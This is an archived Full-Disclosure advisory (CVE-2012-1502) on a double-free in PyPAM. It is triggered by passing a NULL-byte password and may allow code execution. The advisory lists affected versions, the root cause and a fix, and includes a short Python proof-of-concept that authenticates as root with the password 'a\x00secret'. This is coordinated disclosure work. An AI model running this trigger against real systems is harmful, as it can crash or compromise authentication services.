full-disclosure - LSE-2012-03-01: PyPAM -- Python bindings for PAM

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Thu, 08 Mar 2012 23:24:57 +0100
From: Markus Vervier <markus.vervier@...xperts.de>
To: full-disclosure@...ts.grok.org.uk
Subject: LSE-2012-03-01: PyPAM -- Python bindings for PAM
	- Double Free Corruption

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


=== LSE Leading Security Experts - Security Advisory 2012-03-01 ===

PyPAM -- Python bindings for PAM - Double Free Corruption
- - ---------------------------------------------------------

Affected Versions
=================
PyPAM <= 0.4.2
Red Hat PyPAM <= 0.5.0-12
Debian python-pam <= 0.4.2-12.2
Ubuntu python-pam <= 0.4.2-12.2
SUSE python-pam <= 0.5.0-79.1.2
Gentoo pypam <= 0.5.0

Problem Overview
================
Technical Risk: high
Likelihood of Exploit: low to medium
Vendor: Rob Riggs, Various
Discovery: Markus Vervier
Advisory URL: http://www.lsexperts.de/advisories/lse-2012-03-01.txt
Advisory Status: Public
CVE-Number: CVE-2012-1502

Problem Description
===================
While conducting an internal test LSE discovered that by supplying
a password containing a NULL-byte to the PyPAM module, a double-free [1]
condition is triggered. This leads to undefined behaviour and may allow
remote code execution.

Temporary Workaround and Fix
============================
Filtering NULL-bytes in strings before passing them to the PyPAM module
will mitigate the exploit. Also current GLIBC protections may prevent
the double-free condition from being exploitable. It is advised to update
to a fixed version of PyPAM.

Detailed Description
====================
When PyArg_ParseTuple() in line 81 of PAMmodule.c is given a string with
Null-Bytes, a TypeError exception is raised [2]. The security problem
is in
line 82 of PAMmodule.c where free() is called on *resp, but *resp is not
set to NULL. On line 95 in libpam's v_prompt.c the _pam_drop macro calls
free on the response again unless (*resp == NULL), which leads to
undefined behaviour.

The following PoC script triggers the problem:

<--snip-->
#!/usr/bin/env python
##
## python-pam 0.4.2 double free PoC
##
## 2012 Leading Security Experts GmbH
## Markus Vervier
##
# -*- coding: utf-8 -*-

def verify_password(user, password):
    import PAM
    def pam_conv(auth, query_list, userData):
        resp = []
        resp.append( (password, 0))
        return resp
    res = -3
    service = 'passwd'

    auth = PAM.pam()
    auth.start(service)
    auth.set_item(PAM.PAM_USER, user)
    auth.set_item(PAM.PAM_CONV, pam_conv)
    try:
        auth.authenticate()
        auth.acct_mgmt()
    except PAM.error, resp:
        print 'Go away! (%s)' % resp
        res = -1
    except:
        print 'Internal error'
        res = -2
    else:
        print 'Good to go!'
        res = 0

    return res

print verify_password("root", "a\x00secret")
<--snip-->

History
=======
2012-03-02  Problem discovery during internal QA
2012-03-05  Original vendor and Debian maintainer contacted
2012-03-06  Public Patch released
2012-03-07  Various maintainers contacted
2012-03-07  CVE-2012-1502 assigned
2012-03-08  LSE learned in that this bug was previously discovered and
fixed in rPath Linux [3]
2012-03-08  Coordinated Advisory Release

References
==========
[1] http://cwe.mitre.org/data/definitions/415.html
[2] http://docs.python.org/release/1.5.2p2/ext/parseTuple.html
[3] https://issues.rpath.com/browse/RPL-2773


- - --
http://www.lsexperts.de
LSE Leading Security Experts GmbH, Postfach 100121, 64201 Darmstadt
Unternehmenssitz: Weiterstadt, Amtsgericht Darmstadt: HRB8649
Geschäftsführer: Oliver Michel, Sven Walther, Dr. Peter Schill
- -----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJPWTGEAAoJEK9u9A5+VXgeidQH/ideiS6fiMUGSBMz51W42/+l
x0Qm/f2W6LV3NdEO5674wg07nFHju2LBYFHy1Ng5LyLPdIXO3q08DVG8h7vZJAdl
hKdegiwyA0ALqfv2uc4gT3kGm1GUxguGLg43z5c89lIsXV8p2ng+ZynLQ2yhcTQz
X32LyS+dcshdiTIYxgLJDAoSKn1ZiGd/tQ07kjzFG6EicP3+CxP1gjJDg6W16KvV
9Uk+7lHaNfUdqcZTwEhIQwxAE9dU51HK5d+/W6VaGfPdv1d1m6kdvb59kkEeBPcq
T930i0SsrpJrGYaNFy3Toebi+/yJzvcegdJmQWC6gvw2WJCZf8Fd1H5tU3LCO9E=
=MNYZ
- -----END PGP SIGNATURE-----
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.12 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/

iQEcBAEBAgAGBQJPWTG5AAoJEK9u9A5+VXgeS8AH/06N4JcJ0FXU4AZi2gPx8v9O
fM6C3K6f374Ta3/FmgURHouxBfDHEjypuerstGY+PNggpc2XakbQzGUromd1iQ1i
nIp3wPjVhFc906x3vJ/K3XO6Nyq5HgfEuCV0qIsLKiRxRFKWYxElgmpDznQoFPW/
HnNaqN/GozzD3ik3XHQZ6fCG3jGctaeJHC1MwJ33xrDdSPq9HyHM0hGDSWBlNZSE
hIgBFnK34qLuZfnAc5voV7FwzlIBaptcFmEjpbMglNJ1PJZ7NCBt4jydqoOPUvfe
15cg9xxXBnFDBefI7c0/PnoTs3pHHrB3Op257fRmz1DaX0e7ZnjpNb/Y54DBZ5I=
=draZ
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/